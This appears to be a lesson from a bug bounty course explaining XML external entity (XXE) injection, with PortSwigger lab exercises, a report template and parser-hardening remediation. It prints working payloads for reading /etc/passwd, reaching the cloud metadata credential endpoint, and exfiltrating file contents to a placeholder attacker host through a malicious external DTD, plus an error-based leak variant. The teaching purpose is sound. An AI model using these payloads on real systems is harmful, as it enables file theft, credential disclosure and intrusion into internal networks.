Bug Bounty Course -- Day 38 of 60
63%

XXE Injection Bug Bounty 2026 — Full Exploitation Guide | Bug Bounty Course Day 38 of 60

XXE Injection Bug Bounty 2026 — Full Exploitation Guide | Bug Bounty Course Day 38 of 60
✨ AI Summary
💰 BUG BOUNTY HUNTER
FREE

Part of the Bug Bounty 60-Day Course

XXE injection – Day 38 of 60 · 63% complete

XXE is what happens when an XML parser trusts the document to tell it which files to open. You upload what looks like a harmless SVG avatar or an XML API request, but inside the XML you’ve declared an external entity — <!ENTITY xxe SYSTEM "file:///etc/passwd"> — and referenced it where the response echoes a value. The parser dutifully opens the file and drops its contents into the response. From there it only gets worse: swap file:// for http://169.254.169.254 and the parser becomes an SSRF primitive reaching cloud metadata and internal services. And when nothing is reflected, a malicious external DTD exfiltrates the data to your server out-of-band. One parser setting left on by default turns a file upload into local file read, SSRF, and sometimes credential theft.

🎯 What you’ll master in Day 38

Understand external entities and why parsers resolve them
Find XML entry points including hidden ones in file uploads
Read local files with in-band XXE
Pivot XXE to SSRF and cloud metadata disclosure
Exploit blind XXE out-of-band with a malicious DTD
Use error-based exfiltration when outbound networking is blocked

⏱ ~30 min read · 3 hands-on exercises · Burp Suite + Collaborator + PortSwigger Academy

Before you start you’ll want: Burp Suite from Day 5 for intercepting and editing XML bodies, Burp Collaborator (or your own out-of-band listener) for blind XXE, and a working mental model of SSRF from Day 33 — XXE frequently pivots into SSRF, so the two classes reinforce each other.

What XXE is — external entities explained

XML documents can define entities — reusable placeholders, like variables. A normal internal entity is just a string: <!ENTITY name "SecurityElites">, and &name; expands to that string wherever it appears. An external entity, declared with the SYSTEM keyword, tells the parser to load its value from a URL or file path: <!ENTITY xxe SYSTEM "file:///etc/passwd">. When the parser resolves &xxe;, it opens that file and substitutes the contents. If the attacker controls the XML and the parser resolves external entities, the attacker controls which files and URLs the server opens.

The entity declarations live in the document’s DTD — the Document Type Definition — which can be inline in a <!DOCTYPE> block or loaded from an external URL. There are two flavors of entity: general entities (referenced as &entity; in the document body) and parameter entities (referenced as %entity; inside the DTD itself). Parameter entities are the key to blind and out-of-band exploitation, because they’re resolved during DTD processing even when the document body isn’t reflected.

The vulnerability exists because many XML parsers historically resolved external entities by default. Modern, patched defaults disable them — but countless applications still run parsers with the old behavior, or explicitly re-enable DTD processing for legitimate reasons and forget the security implications. The fix is simple (disable DTDs); the prevalence is high because the insecure behavior was the default for so long.

🧠 EXERCISE 1 — THINK LIKE A HACKER (10 MIN · NO TOOLS)

Reason about entry points and entity mechanics before testing:

  1. An app has a “bulk import” feature that accepts an XML file of products and echoes back which products it imported, including each product’s name. Where in this flow would you place an external entity reference, and what would you expect to see in the response if XXE works?
  2. A profile page lets you upload an avatar. You upload a PNG and it works. You upload an SVG and it also renders. Why does the SVG upload matter for XXE when the PNG doesn’t, and what is an SVG actually made of?
  3. The target parses your XML but the response is a fixed {"status":"ok"} with none of your input reflected. Internal entities referencing files won’t show up anywhere. What category of XXE are you now in, and what two capabilities (one network, one not) could still let you prove and exploit it?
✅ What you just learned: any place an attacker-controlled value is reflected after XML parsing is an in-band file-read target. File uploads are a huge hidden surface because SVG, DOCX, XLSX and PPTX are all XML (DOCX/XLSX are ZIPs of XML). And when nothing reflects, you’re in blind XXE territory, where out-of-band exfiltration (via a malicious DTD and a Collaborator callback) and error-based exfiltration (via parse errors) are your two paths.
📸 Write your answers for #day-38-xxe-injection before continuing.


Finding XML entry points

XXE lives anywhere XML is parsed. The obvious entry points are request bodies with a Content-Type of application/xml or text/xml, SOAP endpoints, and SAML assertions. The non-obvious and often more fruitful entry points are file uploads, because so many formats are XML internally and upload handlers rarely anticipate XML attacks.

WHERE TO LOOK FOR XML PARSING
# DIRECT XML bodies
Content-Type: application/xml or text/xml request bodies
SOAP web services (.asmx, ?wsdl endpoints)
SAML authentication (base64 XML in SAMLRequest/SAMLResponse)
RSS/Atom/sitemap ingestion features
# HIDDEN XML inside file uploads
SVG images (pure XML – rendered server-side for thumbnails)
DOCX / XLSX / PPTX (ZIP archives containing XML parts)
PDF with XMP metadata (XML metadata block)
# TRICK: force XML on a JSON endpoint
# If an API takes JSON, try switching Content-Type to application/xml
# and sending an equivalent XML body – some frameworks accept both
Content-Type: application/xml
<?xml version=”1.0″?><root><user>test</user></root>


In-band file read

The simplest and most convincing XXE is in-band file read: you declare an external entity pointing at a local file and reference it in a value the response echoes back. If the file contents appear in the response, you have confirmed file read with a single request.

IN-BAND XXE — LOCAL FILE READ
# Original request body (before injection)
<?xml version=”1.0″?>
<stockCheck><productId>123</productId></stockCheck>
# Injected: declare an external entity and reference it in a reflected field
<?xml version=”1.0″?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
# If productId is echoed in an error/response, you’ll see:
“Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:…”
# Proof files that prove read without dumping secrets:
file:///etc/hostname (Linux hostname – harmless)
file:///etc/passwd (classic, non-secret on modern systems)
file:///c:/windows/win.ini (Windows harmless proof)
# Read ONE harmless file to prove the finding; do not dump keys/data

securityelites.com
Burp Repeater — XXE external entity reads /etc/passwd
REQUEST
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

RESPONSE 400 Invalid product ID:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…file contents reflected in the error message…

📸 The parser resolves the external entity and the app echoes it back in an error — a single harmless file read (/etc/passwd) proves the XXE. Do not pivot to keys or cloud metadata on a live target.

💡 If the file contains characters that break XML (like < or &), in-band read will fail to parse. Wrap the read in a CDATA section using nested parameter entities, or switch to out-of-band exfiltration which base64-encodes the data with the php://filter wrapper (on PHP targets: php://filter/convert.base64-encode/resource=/path). Base64 avoids the character problem entirely.

Pivoting XXE to SSRF

Point the external entity at an internal URL instead of a file, and the XML parser becomes an SSRF engine. Every lesson from Day 33 applies — internal service discovery, cloud metadata, IAM credential disclosure — except the entry point is the XML parser rather than a URL parameter. This is often the highest-impact XXE outcome.

XXE TO SSRF — INTERNAL & CLOUD METADATA
# Point the entity at an internal URL instead of a file
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/”> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
# Internal service discovery
<!ENTITY xxe SYSTEM “http://localhost:8080/admin”>
<!ENTITY xxe SYSTEM “http://192.168.0.1:9200/_cat/indices”>
# NOTE: same metadata/credential caution as Day 33 applies
# Confirm reachability; do NOT use any captured IAM credentials
# If the metadata endpoint returns IAM creds, report reachability only


Blind XXE via a malicious DTD

When the application parses your XML but reflects nothing, you’re in blind XXE. The technique is out-of-band exfiltration using a malicious external DTD hosted on your server. The in-document DTD declares a parameter entity that loads your external DTD; your external DTD reads a local file into one parameter entity, then builds a second entity that embeds the file contents into a URL pointed at your Collaborator. When the parser resolves everything, it makes a request to your server with the file contents in the URL.

BLIND XXE — OUT-OF-BAND EXFILTRATION
# STEP 1: Host this malicious DTD on your server as exfil.dtd
<!ENTITY % file SYSTEM “php://filter/convert.base64-encode/resource=/etc/hostname”>
<!ENTITY % eval “<!ENTITY &#x25; exfil SYSTEM ‘http://YOUR-COLLAB.oastify.com/?x=%file;’>”>
%eval;
%exfil;
# STEP 2: Send this to the vulnerable endpoint
<?xml version=”1.0″?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM “http://YOUR-SERVER/exfil.dtd”> %xxe; ]>
<stockCheck><productId>1</productId></stockCheck>
# STEP 3: Watch your Collaborator / listener
GET /?x=aG9zdG5hbWUtZXhhbXBsZQ== <- base64 of the file contents
# Decode to confirm. The callback itself proves external entity resolution.
# NOTE: parameter entities (%) are required – general entities don’t
# resolve inside the DTD. The &#x25; is an escaped % for nesting.


Error-based exfiltration

Sometimes the parser resolves external entities but cannot make outbound network requests (egress is firewalled), yet it reflects XML parse errors. You can smuggle the file contents into an error message by referencing a non-existent file path that includes the exfiltrated data — the parser’s “file not found” error echoes the path, and the path contains your data.

ERROR-BASED XXE — LEAK VIA PARSE ERROR
# Host this DTD – it reads a file then references a bogus path containing it
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % eval “<!ENTITY &#x25; error SYSTEM ‘file:///nonexistent/%file;’>”>
%eval;
%error;
# The parser tries to open file:///nonexistent/<contents> and fails,
# echoing the full path – which now contains the file contents – in the error:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash (No such file…)
# Works when: parser reflects errors AND outbound network is blocked

⚡ EXERCISE 2 — BURP LAB (25 MIN)

Work through PortSwigger Web Security Academy’s XXE labs:

  1. Start with Exploiting XXE to retrieve files. Intercept the stock-check request, inject a DOCTYPE with an external entity for /etc/passwd, and confirm the contents reflect.
  2. Do Exploiting XXE to perform SSRF. Point the entity at the EC2 metadata endpoint and retrieve the metadata — this is the XXE-to-SSRF pivot in practice.
  3. Do the Blind XXE labs: first out-of-band exfiltration with a malicious external DTD and Burp Collaborator, then error-based exfiltration. Host the DTD on the Collaborator or the lab’s exploit server.
  4. Finally, try an XXE via SVG image upload lab to see the file-upload entry point first-hand.
✅ What you just learned: the four techniques — in-band file read, XXE-to-SSRF, out-of-band blind exfiltration, and error-based exfiltration — cover essentially every XXE scenario you’ll meet. The parameter-entity mechanics (% entities, the nested &#x25; escape, the external DTD) are the part people trip on; doing the blind labs by hand once fixes that permanently.
📸 Share your Collaborator callback showing the exfiltrated base64 for #day-38-xxe-injection.


Writing the report that pays

An XXE report should let the triager reproduce with one request and immediately see the impact. Give the exact entry point, the exact payload, and the evidence appropriate to the variant — reflected file contents for in-band, the metadata response for SSRF, or the decoded Collaborator callback for blind. Then rate severity by what was actually reachable.

BUG BOUNTY REPORT TEMPLATE — XXE TO SSRF / FILE READ
Title: XXE Injection in /api/stock-check Enabling Local File Read and Internal SSRF — High

Severity: High (CVSS 8.6) — local file read confirmed; Critical if SSRF reaches cloud metadata/credentials (see impact)
Affected Endpoint: POST https://www.target.com/api/stock-check (Content-Type: application/xml)

Summary: The /api/stock-check endpoint parses the request body as XML with external entity resolution enabled. An attacker can declare an external entity pointing at a local file or internal URL; the parser resolves it, enabling local file disclosure and server-side request forgery from the XML parser.

Steps to Reproduce (file read):
1. POST to /api/stock-check with Content-Type: application/xml and body:
<?xml version=”1.0″?><!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/hostname”>]><stockCheck><productId>&xxe;</productId></stockCheck>
2. Response reflects the contents of /etc/hostname in the “invalid product” error [screenshot attached]

Steps to Reproduce (SSRF pivot):
3. Replace the entity with SYSTEM “http://169.254.169.254/latest/meta-data/” → the response reflects the EC2 metadata index, confirming SSRF from the parser [screenshot attached]. I did not retrieve or use any credentials.

Impact: An unauthenticated attacker can read local server files and make server-side requests to internal-only services and the cloud metadata endpoint. Depending on IAM configuration this can escalate to credential disclosure and internal network compromise. Local file read alone exposes application source, configuration, and secrets.

Remediation: Disable DTD processing and external entity resolution in the XML parser. For this stack, set the parser to disallow DOCTYPE declarations entirely (e.g. FEATURE_SECURE_PROCESSING plus disallow-doctype-decl). If DTDs are genuinely required, disable external general and parameter entity resolution. Do not rely on input filtering — disable the feature at the parser.

⚡ EXERCISE 3 — WRITE THE REPORT (15 MIN)

Convert one of your PortSwigger XXE lab solves into a full report:

  1. Write the report using the template above for whichever variant you solved. Use the exact payload and the exact evidence (reflected contents or decoded callback). Keep the PoC to one request plus, for blind, the hosted DTD.
  2. Write the impact section for three scenarios and rate each: (a) read of a non-secret file only, (b) SSRF reaching internal services, (c) SSRF reaching the metadata endpoint that returns IAM credentials. Explain why the rating changes.
  3. Write the remediation specifically — name the parser setting for the target’s stack (pick one: Java DocumentBuilderFactory, .NET XmlReader, PHP libxml, Python lxml) and the exact flag that disables external entities. Generic “sanitize input” advice gets reports downgraded.
✅ What you just learned: XXE reports earn their severity from the reachability you prove, so always attempt the SSRF pivot even when file read already works — reaching the metadata endpoint can turn a High into a Critical. And naming the exact parser fix for the stack signals you understand the root cause, which triagers reward.
📸 Share your XXE report’s reproduction steps for #day-38-xxe-injection.

💰 Quick check: the target parses your XML but reflects nothing in the response, and your in-document external entity referencing a local file produces no output. Outbound HTTP from the server to your Collaborator also never fires. The response does, however, show XML parse errors. What is your best next move?




📋 Day 38 reference card

<!ENTITY xxe SYSTEM “file:///etc/passwd”>External general entity for in-band file read
<!ENTITY xxe SYSTEM “http://169.254.169.254/…”>Point at an internal URL to pivot XXE into SSRF
php://filter/convert.base64-encode/resource=Base64-encode a file so it survives XML and exfiltrates cleanly
%entity; (parameter entity)Resolved inside the DTD — required for blind/OOB exploitation
External DTD + CollaboratorBlind XXE out-of-band exfiltration path
SYSTEM “file:///nonexistent/%file;”Error-based exfiltration when outbound networking is blocked
SVG / DOCX / XLSX uploadsHidden XML entry points — the most common real-world XXE surface

✅ Mark Day 38 complete

You can find XML entry points including hidden ones in file uploads, read local files in-band, pivot to SSRF, exfiltrate blind XXE out-of-band with a malicious DTD, fall back to error-based leakage, and write a report whose severity reflects exactly what you reached.

Tomorrow — Day 39: Insecure deserialization — turning untrusted serialized objects into property tampering and remote code execution with gadget chains.

❓ Frequently asked questions

What is XXE injection?
XXE (XML External Entity) injection is a vulnerability in XML parsers that process external entities defined in a document’s DTD. When an application parses attacker-controlled XML with external entity resolution enabled, the attacker can declare entities that make the parser read local files, fetch internal URLs (SSRF), or exfiltrate data out-of-band. The root cause is the parser trusting the document to tell it what resources to load.
What is blind XXE and how do you exploit it?
Blind XXE is one where the application parses external entities but reflects no data back. It’s exploited out-of-band: you host a malicious external DTD that uses parameter entities to read a file and embed its contents into a URL requested from your server. When the parser resolves the entities, it sends the file contents to your Collaborator. If outbound networking is blocked, error-based exfiltration leaks data through XML parse error messages instead.
Can XXE be exploited through file uploads?
Yes. Many file formats are XML under the hood: SVG images, DOCX/XLSX/PPTX Office documents (ZIP archives of XML), and PDFs with XMP metadata. If an application parses these server-side — to render an SVG, extract text, or generate a thumbnail — an attacker can embed an XXE payload in the XML inside the file. This is one of the most common real-world XXE entry points because upload features rarely expect XML attacks.
How does XXE become SSRF?
Instead of pointing an external entity at a local file with file://, you point it at an internal URL with http://. The parser fetches that URL as part of resolving the entity, so the request originates from the server. This reaches internal-only services, cloud metadata endpoints (169.254.169.254), and admin interfaces — exactly like the SSRF class from Day 33, but the entry point is the XML parser rather than a URL parameter.
What severity does XXE usually get?
XXE severity scales with what it reaches. Local file read of sensitive files is typically High. XXE that pivots to SSRF and discloses cloud metadata or IAM credentials is Critical. Full internal network access or RCE (via the expect:// wrapper in some PHP configs) is Critical. Even blind XXE with only out-of-band confirmation is a valid High because it proves external entity resolution and data exfiltration.
How is XXE fixed?
Disable DTDs and external entity resolution entirely in the parser. Every major language documents how — for example FEATURE_SECURE_PROCESSING plus disallow-doctype-decl in Java’s DocumentBuilderFactory, or disabling entity loading in PHP’s libxml. Disabling DTD processing completely is the most robust fix; if DTDs are needed, external general and parameter entity resolution must be turned off. Input filtering is not a reliable fix.
← Previous
Day 37: Subdomain Takeover
Next →
Day 39: Insecure Deserialization

📚 Further reading

  • SSRF — Day 33 — XXE frequently pivots into SSRF; everything in the SSRF guide (metadata, internal discovery, filter bypasses) applies once the entity points at an http:// URL.
  • Burp Suite Deep Dive — Day 5 — Burp Repeater for editing XML bodies and Collaborator for catching blind XXE callbacks are the two core tools for this class.
  • External: PortSwigger — XXE Injection — the complete free lab series covering file read, SSRF, blind out-of-band, and error-based exfiltration.
  • External: OWASP XXE Prevention Cheat Sheet — the exact parser hardening settings per language, ideal to cite in the remediation section of a report.
ME
Mr Elite
The XXE that taught me to never skip file uploads was an avatar uploader. PNGs, JPEGs — nothing interesting. Then I uploaded an SVG, because an SVG is just XML, and the app rendered it into a thumbnail server-side. I put a blind XXE payload in the SVG: a parameter-entity DTD hosted on my Collaborator that base64-ed /etc/hostname into a callback URL. The response showed my generated thumbnail and nothing else — fully blind — but my Collaborator lit up with the base64 of the hostname. From there I pointed the entity at the internal metadata endpoint and confirmed SSRF reachability (I didn’t touch the credentials). The whole thing came in through an avatar upload that no one thought could be an attack surface. That’s the habit worth building: every time you see an upload that accepts SVG or Office documents, you’re looking at an XML parser, and an XML parser is an XXE candidate until proven otherwise.

⚡
Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *